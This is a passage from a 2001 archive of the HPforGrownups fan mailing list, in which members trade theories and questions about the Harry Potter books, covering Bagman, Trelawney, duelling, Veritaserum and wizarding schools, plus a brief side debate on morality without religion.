>the diary, Ron's first thought is not curiosity about what sort of
>book someone would choose to throw at Myrtle, but fear for Harry's
>safety.  Discuss.

  Ron comes from a Ministry of Magic family so he'll drag out the stories 
his dad's told him in his view of things.

>3) Does anyone think Flitwick really knows anything about Entrancing
>Enchantments, apart from a purely academic standpoint?  I'm just
>curious - I have a hard time reconciling my mental image of Flitwick
>to a "sly old dog."

I think there's a lot more to Flitwick than meets the eye.  I also see him 
as an impish figure with probably a bit of a past.  Why?  I have not one 
idea but that's my mental image.  I'm sure the movie will change that...

>4) Hermione is a Very Smart Witch.  Why on earth, then, does she like
>*Lockhart*?

Don't you remember being 12 or 13 and having a good-looking teacher?

>5) Harry says "There wasn't the faintest trace of writing on any of
>them, not even... 'dentist, half-past three.'"  A logistical
>question: How does one visit the dentist while at Hogwarts?  Is Madam
>Pomfrey trained in dental charms?

She can shrink teeth as was pointed out by someone else.  She probably has 
a bunch of useful charms and spells, most of which seem to involve chocolate.

>6) Ginny, it seems, did give Harry the Valentine.  Did she do so
>because she liked him, or did she do it under the influence of
>Riddle, for some reason no one can fathom because we aren't quite
>that evil?

She's a kid.  It's Valentine's Day.  She probably was swept up in the 
"everyone else is doing it" fever.

>7) Harry never thinks of Riddle as "Tom," but always "Riddle," even
>before he (Harry) realizes who he (Riddle) really is.  Is JKR setting
>the reader up for Riddle's real identity by not having Harry think of
>him in more familiar terms?  (In the diary, Riddle calls Harry "Harry
>Potter," and either "Harry" or "Harry Potter" during their
>confrontation at the end of the chapter.)

I use last name labels for a lot of people, myself included!

>8) Harry never gets to see how Hagrid is captured and Aragog
>escapes.  Guesses?

I think Hagrid knocked Tom out when he jumped on him.  No memories of the 
actual event.

>Ch. 14
>9) Fudge - secretly evil or just a moron?

Worse.  I think he's a politician.  Various comments about his career and 
generous contributions by the Malfoys make him sound like your garden 
variety politician.

>10) Lucius does a really terrible job of covering up his real
>feelings regarding blood purity.  Why?  Perhaps he's more in contact
>with Voldie than we're aware of?  Is he counting on Riddle's ability
>to control Ginny permanently?  Does he assume it's safe, with
>Dumbledore temporarily out of commission?  How can he underestimate
>Dumbledore that much?

The comment: "At this rate, there'll be no more Muggle-borns left at 
Hogwarts, and we all know what an awful loss that would be to the school." 
sounds more (when read with the rest of the paragraph) like sarcasm to 
me.   I'd like to know how much Lucius knew about how the diary works.  Did 
he have little chats with Tom before he gave Ginny the diary?  I can just 
hear the slow and sarcastic phrasing when I read the text.

>11) This marks the second time Dumbledore has known Harry was there
>even though Harry was wearing an Invisibility Cloak.  How?  Perhaps
>there's more to Dumbledore's half-moon glasses than meets the eye?
>This also opens up a possible glasses connection - we know Harry's
>glasses/eyes are important - what about Dumbledore's?

I think he knew Harry would be there.  There are times I think Dumbledore 
knows everything that everyone is doing - both during the school term and 
during the summer.  Not the best answer to this question I'll have to mull 
on it a bit.

>12) Why do people think the Heir of *Slytherin* is someone from
>another House?  First Harry, then Hagrid.  Am I the only one who
>thinks this makes no sense?

Human nature.  When the first choice of answers doesn't work, 
switch.  Harry spoke to snakes.  Hagrid, well, Hagrid is Hagrid.  Lee 
Jordan certainly thought the heir was a Slytherin.

>Ch. 15
>13) Out of respect for Hagrid, Aragog claims he never harmed a soul.
>Yet he "cannot deny them [his children] fresh meat," and would
>willingly feed Hagrid's friends, who sought the spiders out to help
>Hagrid, to his children.  How does he justify this?

As was posted already, Aragog probably doesn't eat humans but his children 
aren't bound by his promise.

>14) There are several instances of possible foreshadowing in these
>chapters: *The comparison of Percy to Riddle

I wonder if Percy's need for recognition (GoF) will bring troubles to Harry 
in the future.  Percy would be the perfect person to reveal some kind of 
important information to someone in power who might pat Percy on the head 
or promote him.  I could easily see Percy falling into the wrong crowd if 
he thought they were his friends or could help him out.

>*Hagrid's penchant for Big Scary Things once again places the Trio in
>danger.  As Ron says, "He always thinks monsters aren't as bad as
>they're made out, and look where it's got him!"  This doesn't just
>apply to beasts - could Hagrid's trusting nature put him or Harry in
>danger?

Obviously.

>After all, isn't one of Harry's biggest fans supposed to die?

I'm new at this and I haven't seen this one before.  Is this from an 
interview with JKR?

>*Ron's abilities as a Seer: his fear the book could be dangerous
>turns out to be true, in a way.  He jokes that maybe Riddle murdered
>Myrtle - this turns out to be true.  Discuss all.  (Ack!  I sound
>like a teacher.  Apologies.)

I still think Ron was just mirroring back stories he's heard at home re: 
book.  I'm not sold on the Seer theme that I've read about several times on 
the list.  Of course, I don't read the fanfic, either.

>15) Pointless Silly Question: Which would you prefer: having to speak
>in limericks for the rest of your life, or never being able to stop
>reading?

If I had to read the same book forever, I'd definitely go for limericks.

Catherine
Albion, CA



From degroote at altavista.com  Tue Sep  4 04:41:07 2001
From: degroote at altavista.com (Vicky DeGroote)
Date: 3 Sep 2001 21:41:07 -0700
Subject: [HPforGrownups] Re: Could Hermione Fight the Imperius Curse?
Message-ID: <20010904044107.15093.cpmta@c012.sfo.cp.net>

No: HPFGUIDX 25495

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From degroote at altavista.com  Tue Sep  4 05:11:18 2001
From: degroote at altavista.com (Vicky DeGroote)
Date: 3 Sep 2001 22:11:18 -0700
Subject: [HPforGrownups] Re: Wizard demographics?
Message-ID: <20010904051118.27734.cpmta@c012.sfo.cp.net>

No: HPFGUIDX 25496

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From degroote at altavista.com  Tue Sep  4 05:25:22 2001
From: degroote at altavista.com (Vicky DeGroote)
Date: 3 Sep 2001 22:25:22 -0700
Subject: [HPforGrownups] Kiddiefic reply, Moaning Myrtle
Message-ID: <20010904052522.6302.cpmta@c012.sfo.cp.net>

No: HPFGUIDX 25497

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From prefectmarcus at yahoo.com  Tue Sep  4 05:35:11 2001
From: prefectmarcus at yahoo.com (prefectmarcus at yahoo.com)
Date: Tue, 04 Sep 2001 05:35:11 -0000
Subject: Duelling
Message-ID: <9n1p6f+5rng@eGroups.com>

No: HPFGUIDX 25498

Has anybody noticed the duelling theme in the books?  In each of the 
books except HP3 PoA, we have references to duelling.

In Book #1, Malfoy challenges Harry to a duel.  This is our first 
introduction to the concept of wizards duelling.

Book #2, we have the Duelling Club.

In Book #4, we have the graveyard scene.

Question, what is JKR setting us up for?

Marcus





From cynthiaanncoe at home.com  Tue Sep  4 05:36:32 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Tue, 04 Sep 2001 05:36:32 -0000
Subject: The Case Against Ludo Bagman
In-Reply-To: <F54LzkI2zEn3qHkwZPy00004271@hotmail.com>
Message-ID: <9n1p90+6lcq@eGroups.com>

No: HPFGUIDX 25499

--- In HPforGrownups at y..., "Ali Wildgoose" <diagonalley_ at h...> wrote:
> Ali wrote:
> Personally, I think he's just an idiot with bad judgement.  A very 
nice, 
> friendly, jolly sort of idiot...but an idiot all the same.  I don't 
think 
> he's really crafty enough to be a DE...


I took another look at Bagman in GoF, and now I'm REALLY convinced he 
is not a minor character or just an affable idiot bungling through 
the wizarding world.

Early in GoF, JKR spends time establishing that Bagman, this minor 
character, can apparate.  He apparates in "Bagman and Crouch" and 
again in the "Dark Mark" chapter when he comes across H,H and R in 
the woods.  The book is really long; why use any space to discuss a 
minor character who apparates other than to establish a foundation 
that Bagman apparated to the graveyard?  (She also mentions that 
Crouch Sr. can apparate, and the purpose of that is to show how he 
escapes and gets up to Hogwarts).

Also, there's no reason to believe Fred and George's explanation for 
Bagman's absence after the third task.  They state (Ch. 37) that 
Bagman had a bet on Harry, and Bagman ran from the goblins.

This doesn't make sense.  First, how would Fred and George know 
Bagman bet on Harry?  Well, Bagman could have told them.  But why?  
He was always careful to conceal his efforts to help Harry (lowering 
his voice to a whisper, etc).  And it isn't logical that the Head of 
Magical games, who is also a judge, would up and tell F and G (or 
anyone else) that he is cheating to help a contestant.  This suggests 
that F and G have simply guessed incorrectly -- Bagman really helped 
Harry for the same reason Crouch/Moody did.

But let's say F and G heard this information some other way, and 
Bagman really did bet on Harry.  The second problem is F and G say 
the goblins play dirty and considered the result of the tournament a 
tie and refused to pay Bagman, so that's why he fled.  (They offer no 
explanation for how they know this.)  But Bagman wouldn't know who 
won or how the goblins would view things when he fled, which was 
during or right after the third task.  F and G's statements are 
supposition -- it is more plausible that Bagman left when he did to 
apparate to the graveyard.

Finally, Harry had a dream (beginning of Ch. 9) in which Bagman 
appears and delivers the following line:  "I give you . . . Potter!"  

Cindy (wishing someone -- anyone-- cared about Bagman as much as she 
does)




From cynthiaanncoe at home.com  Tue Sep  4 05:41:44 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Tue, 04 Sep 2001 05:41:44 -0000
Subject: Duelling
In-Reply-To: <9n1p6f+5rng@eGroups.com>
Message-ID: <9n1pio+6ad1@eGroups.com>

No: HPFGUIDX 25500

--- In HPforGrownups at y..., prefectmarcus at y... wrote:
> Has anybody noticed the duelling theme in the books?  In each of 
the 
> books except HP3 PoA, we have references to duelling.
> 
> In Book #1, Malfoy challenges Harry to a duel.  This is our first 
> introduction to the concept of wizards duelling.
> 
> Book #2, we have the Duelling Club.
> 
> In Book #4, we have the graveyard scene.
> 
> Question, what is JKR setting us up for?
> 
> Marcus


Hmmm.  Hard to say.  But there has never been a duel in which anyone 
dies.  So far, the duel has just been a clever tease to set up other 
things.  

I think she'll drop the duel business, though.  We're now in a full-
scale war.  People don't duel in wars.  They ambush.

Cindy




From cynthiaanncoe at home.com  Tue Sep  4 05:44:22 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Tue, 04 Sep 2001 05:44:22 -0000
Subject: Observations and Questions
In-Reply-To: <9n1hu2+husg@eGroups.com>
Message-ID: <9n1pnm+ia7d@eGroups.com>

No: HPFGUIDX 25501

--- In HPforGrownups at y..., wcdawson at o... wrote:
> 
>
> That may be true, but everyone "knew" that Black had murdered 
> Pettigrew and all those Muggles.
> Stan on the Knight Bus says that Black was "Very
> close to You-Know-'Oo, they say."
> 
>
Good point.  Why does Stan know Sirius is working for V, but Hagrid 
does not?  I think it is because Hagrid is living in a hut at 
Hogwarts, whereas Stan is driving the bus and is gossiping 24/7.  

Cindy




From cynthiaanncoe at home.com  Tue Sep  4 05:51:45 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Tue, 04 Sep 2001 05:51:45 -0000
Subject: Several Comments on the past Week's Digests
In-Reply-To: <20010904040232.11724.cpmta@c012.sfo.cp.net>
Message-ID: <9n1q5h+2ms7@eGroups.com>

No: HPFGUIDX 25502

--- In HPforGrownups at y..., Vicky DeGroote <degroote at a...> wrote:
> > > A comment about Harry's Christmas Presents: How did he always 
get stuff
> > from the Dursleys by owl? Did Hedwig travel to the Dursleys with 
a note
> > attached to its claw, "Please return me with a gift for Harry?" 
If I were
> > Vernon & Petunia I'd probably be laughing my head off and I would
> > probably also send nothing more than a tissue, toothpick, etc. 
Why do you
> > think Hedwig went there in the first place to ask for a gift?
> 
> 
My (totally unsupported) theory about the Christmas present is that 
the Dursleys have been told all about the protections Harry has.  But 
they've been told that he (and they) only have these protections so 
long as they provide Harry with the things that normally accompany a 
family relationship.  So they give him clothes, food and shelter 
because they have to.  But they only give him the bare minimum (hand-
me downs and a cupboard).  One thing they have been told to provide 
is a Christmas present, so they send a tissue out of fear that if 
they do nothing, Voldemort will blow up their house.

Cindy




From catlady at wicca.net  Tue Sep  4 07:25:11 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Tue, 04 Sep 2001 07:25:11 -0000
Subject: Chapter Summary / Riddle / Flitwick / Lupin / Dursleys
Message-ID: <9n1vkn+99am@eGroups.com>

No: HPFGUIDX 25503

Allison wrote:

> Harry, despite Ron's protests, keeps the diary, occasionally 
> looking through it as if expecting to find writing.  He feels like
> he used to know Riddle, as if he'd been an old childhood friend,

Does Harry feels as if he used to know Riddle (or that the name 
sounds familiar) because he got some of Voldemort's memories along 
with his Parselmouth ability? Or is JKR building up to something by
emphasizing that Harry feels as if he knew Riddle and that Harry 
looks like Riddle. 

> In Charms, Harry notices that while all his other books are covered 
> in scarlet ink from his broken ink bottle (even his ink is in a 
> House color - taking the House pride a bit far, ain't it?), the 
> diary is completely dry.  

I asssumed that Harry's school bag also contains black ink for normal 
purposes, but the red ink is used for some special purpose. If he was 
studying bookkeepping, it would be for writing negative numbers (an 
old tradition which gave us the phrasews 'in the red' and 'in the 
black' but died out because of photocopy machines). Maybe their 
Astronomy or Divination class requires drawing horoscopes in which 
each planet's aspects are marked in a different color (since the vast 
majority of aspects are between two planets, that would be a two 
color line) for easier visibility or just to burden the students.

Susan Hall wrote:

> Wasn't [Flitwick} also a duelling ace?  Perhaps he had a secret 
> double life as the Scarlet Pimpernel.  Our only evidence that he 
> wasn't is that he is short, has a squeaky voice, and drinks very 
> girly drinks in public.  All an obvious cover up.  

When I read the above, I suddenly realised that I had never wondered 
why Flitwick is so tiny. Maybe it is some magic that happened to 
him after an adventurous youth ... Maybe the remnant of a Death Spell 
which he MOSTLY  blocked....

elbereth wrote:

> I wonder, will we meet Lupin's parents (as I can't imagine someone 
> in his situation buying a house!) 

If (to pile up more tragedies on poor Remus) his parents had died, 
he could have inherited their house. Or from grandparents -- maybe 
he was the only grandchild. A totally different possibility is that 
"Lupin's house" is some isolated cabin that came along with some 
isolated job that Dumbledore was able to get for him, caretaker of an 
abandoned estate or something.  

Mindy wrote:

> One thing they have been told to provide is a Christmas present, so
> they send a tissue out of fear that if they do nothing, Voldemort 
> will blow up their house.

Excellent! I never thought of anything like this, but as soon as I 
read your suggestion, I thought it was the most likely a answer.




From shall at sfiweb.demon.co.uk  Tue Sep  4 07:27:19 2001
From: shall at sfiweb.demon.co.uk (Susan Hall)
Date: Tue, 4 Sep 2001 08:27:19 +0100
Subject: [HPforGrownups] Veritaserum
In-Reply-To: <C8CB3DE988C8D3119BDA00A0C9B3BD4D022C2B47@MIAEXCH1>
Message-ID: <NCBBLOIDFHFLKCOIHJBKCEEIDMAA.shall@sfiweb.demon.co.uk>

No: HPFGUIDX 25504

>I have always felt this way, and have had complicated legalistic
discussions
with susan hall about this.
>I really think that since veritasserum still only allows you to tell truth
from your perspective, and therefore what you tell is not objective truth,
combined with what I would presume to be "newness" {i.e. Past 75 years or
>so} make it impermissible in wizarding courts or even investigations.

I believe Heidi is right about objective truth - therefore, if one of the
wizards whose memory had been modified by Lockhart were then questioned
under Veritaserum about whether they, or Lockhart had, for example,
performed the werewolf task then they would be likely to say "Lockhart"
because, once their memories are modified, that would be the truth to them.
This would be pretty frightening, because it would then add the accused's
confession to the impact of the truth drug concerned.

However, I think you could devise guidelines to make the use of veritaserum
safer (which would have to involve the preparation of the stuff under
controlled guidelines) but that the wizarding take on justice is so
haphazard they simply aren't used to bothering - witness Fudge's treatment
of Hagrid in CoS.
Susan





From shall at sfiweb.demon.co.uk  Tue Sep  4 08:26:00 2001
From: shall at sfiweb.demon.co.uk (shall at sfiweb.demon.co.uk)
Date: Tue, 4 Sep 2001 09:26 +0100
Subject: [HPforGrownups] Re: (Corrected) right & wrong in the Potterverse
Message-ID: <E15eCG8-000OTp-0Y@anchor-post-34.mail.demon.net>

No: HPFGUIDX 25505





From shall at sfiweb.demon.co.uk  Tue Sep  4 08:26:00 2001
From: shall at sfiweb.demon.co.uk (shall at sfiweb.demon.co.uk)
Date: Tue, 4 Sep 2001 09:26 +0100
Subject: [HPforGrownups] Re: (Corrected) right & wrong in the Potterverse
Message-ID: <E15eCGS-000OTp-0Y@anchor-post-34.mail.demon.net>

No: HPFGUIDX 25506

>Now, as an atheist, you may say that good is what the majority of 
society will agree is good.  Unfortunately, the majority of two 
>recent societies thought that the mass execution of Jews and the 
arbitrary enslavement of Africans was okay, so majority rule cannot 
be the standard if minorities are to have any rights at all 
>(remember "Blacks today, Blondes tommorrow!").

You *may* say that but there is absolutely no reason why as an atheist one *should* say that.  In fact, both the societies referred to considered themelves Christian, and, indeed, pointed to *sound* Biblical reasons for their repugnant practices.  Those within those societies who protested those practices and indeed suffered persecution for protesting might have been Christian, Atheist or anything else (and, historically, no one group has had a monopoly on acting rightly in the face of injustice - or even consistency in carrying through intensely righteous acts in one sphere into other aspects of their personal morality).  The fear of punsihment  argument does not stand up as a explanation for individual acts of conscience against the prevailing orthodoxy.  To bring this back on topic, why does Hermoine join in with Harry and Ron in the plot to get rid of Norbert?  The "fear" factor is all on the side of standing back from it; what causes her to choose differently is that she has a number of possible 'good" actions and chooses to elevate loyalty to her friends and avoiding pain to Hagrid above the framework of the orthodox school moral code.
Susan




From catherine at cator-manor.demon.co.uk  Tue Sep  4 10:06:46 2001
From: catherine at cator-manor.demon.co.uk (catherine at cator-manor.demon.co.uk)
Date: Tue, 04 Sep 2001 10:06:46 -0000
Subject: Is Professor Trelawney a fraud?
Message-ID: <9n293m+43fj@eGroups.com>

No: HPFGUIDX 25507

I've just read Luke's superb post on references to the Grim.  
Excellent, but I am not sure I totally agree that Professor Trelawney 
is a complete fraud.

Firstly, she does have some psychic poweres, as she has had at least 
two real predictions that we know of.

Secondly, I do think that her constantly seeing the grim isn't 
indicative of what a fraud she is, but that she does actually see a 
large black dog in Harry's tealeaves/crystal ball, but she interprets 
in wrongly, by actually presuming that the only thing a large black 
dog could be is the grim.

One may put this down to coincidence, and the fact that she is 
determined to predict Harry's death - but surely there are lots of 
other death omens she could have chosen, not just the grim.  This 
makes me think that she did see the dog, and therefore isn't as 
fraudulent as most of us believe.

I think the jury's still out on PT.  I also think that JKR is 
deliberatly being very ambiguous about it.  It is an undisputable 
fact, however, that Professor Trelawney does pick up on certain 
things - how else would she have picked that particular date for 
Lavender?  The thing Lavender was dreading might not have been the 
death of her rabbit, but hearing about the death of her rabbit - or 
any bad news from home, for that matter.  Perhaps a relative is ill 
and she was worried?  Therefore Professor Trelawney could have known 
that Lavender was going to get some bad news from home - just not 
what it was.

This makes me think that JKR is playing a game with us - she is 
letting Professor Trelawney get just enough right for us to worry 
about whether it was Ron or Harry who got up first from the Christmas 
dinner table.  If this is true, and everyone has money on Dumbledore 
dying before the end of the series, he cannot be the first to die, as 
Harry and Ron left the table before him.  In that case, my money has 
to be on Ron.  Make sense?

Catherine
BTW, I can see the early stirrings of a shipping war hitting our 
list.  Is anyone besides me running for cover at this point?!




From nausicaa at atlantic.net  Tue Sep  4 12:15:53 2001
From: nausicaa at atlantic.net (Jenny K.)
Date: Tue, 04 Sep 2001 08:15:53 -0400 (EDT)
Subject: [HPforGrownups] Observations and Questions
In-Reply-To: <000701c134ef$19c036e0$fe24bb18@OEMCOMPUTER>
References: <999566450.5343.64969.l10@yahoogroups.com> <000701c134ef$19c036e0$fe24bb18@OEMCOMPUTER>
Message-ID: <999605753.3b94c5f95fa5a@webmail.atlantic.net>

No: HPFGUIDX 25508

Quoting Patrick Dawson <wcdawson at optonline.net>:

> GoF Ch.25
> This isn't the first time that someone has
> waited outside the Gryffindor
> common room to let Harry out at night. So if the
> portrait can't be opened
> from the inside, how the heck do they get out in
> the morning?


My impression of these scenes was that Harry, concealed 
by the cloak, didn't want anyone who might be nearby to 
see that the portrait was opening for "nobody" and 
possibly put 2 & 2 together.  The people on the outside 
could be timing their outdoors activities in order to be 
entering at the same time he wishes to exit.  As I 
recall though, no one lets him back in...but I think 
he's usually in too much of a hurry to wait for any 
prearranged time...plus he sometimes takes the cloak off 
(I don't have the books, so can't confirm this).

Jenny K.

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From mindyatime at juno.com  Tue Sep  4 12:29:05 2001
From: mindyatime at juno.com (Mindy, a.k.a. CLH)
Date: Tue, 4 Sep 2001 08:29:05 -0400
Subject: Portrait Hole Answer/Amount of Students/Petrified Penelope
Message-ID: <20010904.082926.-3706553.15.mindyatime@juno.com>

No: HPFGUIDX 25509

Asked by Patrick Dawson:

"GoF Ch.25
This isn't the first time that someone has waited outside the Gryffindor
common room to let Harry out at night. So if the portrait can't be opened
from the inside, how the heck do they get out in the morning?"

I asked this question 2 weeks ago and the answer I got was that in both
instances, either Harry was under his cloak and did not want to arouse
suspicion that a door was opening and no one was leaving, or he was not
allowed to leave the Gryffindor tower and a friend had to wait for him
outside.

Patrick did not ask this, but:

Recently people have been debating how many students there are in the
school. Someone suggested that there were 10 per year, 5 male and 5
female, in each House. At first I thought it was ridiculous but then I
realized it was highly likely. That would mean that there were about 70
students per House. Whenever Harry enters the Common Room to pandemonium,
I hope there are not more than 70 students present there. Can you imagine
the chaos of having several hundred students per house? Additionally,
whenever the fab five go up to their tower to sleep, it says 'First
Years' or 'Second Years' etc. on their door -- obvoiusly there aren't any
other boys of their age of their house. If there are more, please
enumerate them, I'd like to know them.

Professor Fellini wrote:

"Perhaps Percy was kissing a *petrified* Penelope in the Hospital Wing? 
THAT would CERTAINLY be embarrassing!;}  Poor little lovesick Percy! "

I've since realized I may have made a mistake.... Wasn't Penelope
petrified the last minute, along with Hermione? I may have my own
timeline mixup mixed up!

Rita wrote:

"Mindy wrote:

> One thing they have been told to provide is a Christmas present, so
> they send a tissue out of fear that if they do nothing, Voldemort 
> will blow up their house."

I'm NOT taking credit where credit isn't due.... methinks Cindy wrote it.


________________________________________________________________
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From mdconnolly at hotmail.com  Tue Sep  4 12:34:48 2001
From: mdconnolly at hotmail.com (mdconnolly at hotmail.com)
Date: Tue, 04 Sep 2001 12:34:48 -0000
Subject: Inheritance of Magical Abilities
Message-ID: <9n2hp8+s7tp@eGroups.com>

No: HPFGUIDX 25510

Apologies if this question has been asked before, and if it has could 
somebody please point me in the direction of the original message.

Hermione's parents are both Muggles, whereas she is a witch. So how 
come she was born with magical powers? Is it a recessive gene? Also 
if witches can be born to Muggles, then can Muggles be born to 
witches?

Thanks,
Martin.




From blpurdom at yahoo.com  Tue Sep  4 12:39:34 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Tue, 04 Sep 2001 12:39:34 -0000
Subject: auxiliary books
In-Reply-To: <9mvigh+feat@eGroups.com>
Message-ID: <9n2i26+1shn@eGroups.com>

No: HPFGUIDX 25511

--- In HPforGrownups at y..., g_keddle at y... wrote:
> --- In HPforGrownups at y..., Evilonewon at a... wrote:
> > In a message dated 08/30/2001 10:52:43 AM Eastern Daylight Time, 
> > HPforGrownups at y... writes:
> > 
> > > > I do think we could have some further 'auxiliary' books like 
> QTTA. Maybe a Muggle Studies textbook, explaining why Muggles would 
be utterly bewildered by aspects of the Wizarding World the wizard 
> > > community just takes for granted.  > > 
> 
> > If there are any more companion volumes, I'd really like to 
> read "The History 
> > of Magic".  
 
> The next auxiliary book to come out MUST be "Hogwarts, A History"!! 
> How could there be any doubt?
> 
Okay, I'm putting in my vote here for Magical Herbs and Fungi.  The 
things JKR has invented, such as bubotubers, frequently leave me in 
stitches!

--Barb





From tabouli at unite.com.au  Tue Sep  4 08:14:00 2001
From: tabouli at unite.com.au (Tabouli)
Date: Tue, 4 Sep 2001 18:14:00 +1000
Subject: Ghoulish musings, Hogwarts: A History, goodness, Riddle, IQs and love
Message-ID: <003c01c13540$64096180$5e1d6fcb@price>

No: HPFGUIDX 25512

mellinell:
> who thinks the Weasleys' ghoul is a red herring, and who thinks it will play a role later on? I'm divided, myself.
 
Hmm, hadn't thought about this much.  I think I'd filed the Weasley ghoul under "atmospheric touch" and dismissed it.  But yes, it certainly could be relevant later.  Does anyone on the list know what ghouls are, exactly?  Somewhere between a ghost and a demon?

Gert:
> The next auxiliary book to come out MUST be "Hogwarts, A History"!!  How could there be any doubt?

Although this is indeed a very attractive idea, I myself doubt it very much indeed.  Why?  Because it's obvious that the history of Hogwarts is absolutely crucial to future plot development and therefore needs to be kept quiet until the end of the series.  Think Chamber of Secrets and the story of the ghosts (which IIRC JKR said would come into Book 7) and what ol' Salazar was up to, just for a start.

usergoogol:
> >Draco is that person that we would all like to be if there were no 
> >EternalGod/BhuddhaNature/AbsoluteTruth/Ultimate Justice to 
> >fear.  Rich, privileged, influential, popular, witty, probably 
> >attractive enough, and certainly used to getting his way.  In a 
> >word, he is powerful, and he raises the >ultimate question of 
> >human morality (as does Voldemort, >Dumbledore, Lucius, 
> >and to a lesser extent, Fudge):
>
>To this, I must take offense, as a moral atheist. I believe, that people, without any of those above things, can be kind, merely >because, it is a logical thing to do. (If your kind to people, people will be kind to you.) Also, doing mean and violent acts is >not comfortable to do if you feel a sort of "mutual feelings," or, empathy.

Little Alex beat me to making a lot of interesting comments on this, but as a moral agnostic let me add that "definition of goodness by majority vote", which I think came up from usergoogol later (who pasted some comments last night to write up today then, eh?) is *not* what we godless creatures are advocating, by any means.  I should now come up with a sweeping explanation of what we *are* advocating, but um,er, I'll have to get back to you on that one.  As a distracting aside, I came up with the idea that God was invented to scare people into being good (or what the society at the time thought would be best for it) at the age of 10 or so, perhaps by parallel with Santa Claus...

Catherine:
> I think that he's counting on Ginny dying and Riddle taking on a 
proper form.  Although what good that would do I don't know.  Would 
it mean there are two Voldys out there?  Heaven forbid!

Oo er!  What an interesting thought.  What would have happened?  Might Tom be aghast to see what his future self became?  I would be if I were him: Tom still seemed to have a few marbles rolling around in there, whereas the Voldemort of GoF is several stripes short of a zebra and looks like a discarded extra from the animated Lord of the Rings.  "Look at you!  What possessed you to concost this skinny snake-man body?  You look hideous!  What are you trying to do, scare away all the Death Eaters?  And as for giving Harry back his wand...!  In my day, the *first* thing I did in the Chamber of Secrets was nab Harry's wand *from* him, you fool!"  And so on...

Susan:
> >4) Hermione is a Very Smart Witch.  Why on earth, then, does she like
>*Lockhart*?

> I have a first in Law from the University of Oxford and *I* can't fathom out
> why I had crushes on the people I had crushes on at that sort of age.
> Better leave it at "hormones and brain cells don't mix".

I've never quite understood why people imagine that academic intelligence (i.e. getting good marks) somehow innoculates you against stupidity in any other domain of human endeavour and guarantees that you are all-knowing and wise.  Ever fossicked around in a university staff room full of PhD holders?  People with high IQs can quite easily have little common sense, poor judgment in love, bad driving skills, total ignorance of domains of knowledge they've never studied, and so on and so on.  I was very like Hermione as a child, analytical, good marks, etc. and at 13 I had a crush on the lead singer of A-Ha!  (Tabouli blushes, but holds her head up defiantly).

So there.

Tabouli.



[Non-text portions of this message have been removed]




From blpurdom at yahoo.com  Tue Sep  4 12:54:06 2001
From: blpurdom at yahoo.com (blpurdom at yahoo.com)
Date: Tue, 04 Sep 2001 12:54:06 -0000
Subject: Wizard demographics?
In-Reply-To: <9mvkls+4ntq@eGroups.com>
Message-ID: <9n2ite+th8f@eGroups.com>

No: HPFGUIDX 25513

--- In HPforGrownups at y..., vheggie at y... wrote:
> [snip]
> > 
> > As for the number of Wizarding schools, I think perhaps there'd 
be fewer than a half dozen in North Am.  Consider:  there are three 
such schools for all of Europe (if I may be allowed, this once, the 
common fallacy of calling Great Britain European <g>) -- we know this 
because only Hogwarts, Beaux Batons and Durmstrang had contestants in 
the Tri-Wizard Tournament.  
> > Such a regional event should include all schools in the region, 
> ergo there are only three.
> > 
> [snip]
 
In fact, Hermione says that they are the largest wizarding schools in 
Europe, so there must be some small, out of the way schools tucked 
into remote corners of the continent...probably language is a big 
reason for lots of little schools.  Durmstrang would probably have 
served the Soviet countries largely, when the USSR still existed, and 
possibly Scandanavian countries and countries with German as an 
official language (Austria, Germany, Switzerland, Belgium, Luxembourg-
-maybe the Netherlands too).  Based upon the name of the school, I 
would guess that instruction would be in German, but it could be 
bilingual, German and Russian.  Beauxbatons would appeal to anyone 
whose child felt comfortable learning in French (folks from France, 
Switzerland again, Belgium again, Monte Carlo, parts of northern 
Italy, etc.).  Perhaps there is a smaller school that handles 
students from Spain, Portugal, Italy and Romania, using one of those 
languages as the common tongue.

In the New World, wizarding schools may also be divided according to 
language, so that Spanish-speaking students would probably not go to 
the same-schools as English-speaking ones.  On the east coast of 
North America, for instance, there may be one school which handles 
eastern Canada and New England (located most likely in New Foundland 
or on an island off the Maine coast).  The mid-Atlantic wizarding 
school would be either in the Pine Barrens of New Jersey or somewhere 
in Appalachia, while the south might have a school on an island off 
the South Carolina coast...unless it's further south in the Atlantic, 
as in a location known as the Bermuda Triangle...

Rambling done...

--Barb





From wings909 at aol.com  Tue Sep  4 12:55:28 2001
From: wings909 at aol.com (wings909 at aol.com)
Date: Tue, 04 Sep 2001 08:55:28 EDT
Subject: [HPforGrownups] Re: Harry and Ginny
Message-ID: <21.108e0808.28c62940@aol.com>

No: HPFGUIDX 25514

> Certainly Ron might find it a bit weird to have Harry's affection 
> transferred to his sister.  But I think this could be a pretty common 
> reaction from a guy who suddenly experiences an alteration to two of 
> his closest relationships when his sibling and best friend become 
> romantically attached.
> 


I think Ron's going to be too absorbed in his own relationship with Hermione to pay too much attention to the love life between his best friend and his little sister.

Cheers,
Paula 




From timkronsell2 at ofir.dk  Tue Sep  4 13:11:03 2001
From: timkronsell2 at ofir.dk (Tim Kronsell)
Date: Tue, 4 Sep 2001 15:11:03 +0200
Subject: [HPforGrownups] Ghoulish musings,
Message-ID: <20010904130304.3D46A1C397@postfix1.ofir.com>

No: HPFGUIDX 25515

A Ghoul is a undead fiend who feeds upon human corpses.

The typical Hollywwod Zombie is actually closer to the traditional Ghouls than 
the traditional Zombies.

The main difference is that while zombies a mindless automatons, the Ghouls 
usually has some sort of selfconsious rudementiary intelligence.

Darreder- The man from the stars

----------------------------------------------------
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From devika261 at aol.com  Tue Sep  4 13:38:34 2001
From: devika261 at aol.com (devika261 at aol.com)
Date: Tue, 04 Sep 2001 09:38:34 EDT
Subject: [HPforGrownups] Duelling
Message-ID: <64.12b8420f.28c6335a@aol.com>

No: HPFGUIDX 25516

In a message dated Tue, 4 Sep 2001  1:36:48 AM Eastern Daylight Time, prefectmarcus at yahoo.com writes:

> Has anybody noticed the duelling theme in the books?  In each of the 
> books except HP3 PoA, we have references to duelling.
> 
> In Book #1, Malfoy challenges Harry to a duel.  This is our first 
> introduction to the concept of wizards duelling.
> 
> Book #2, we have the Duelling Club.
> 
> In Book #4, we have the graveyard scene.
> 
> Question, what is JKR setting us up for?
> 

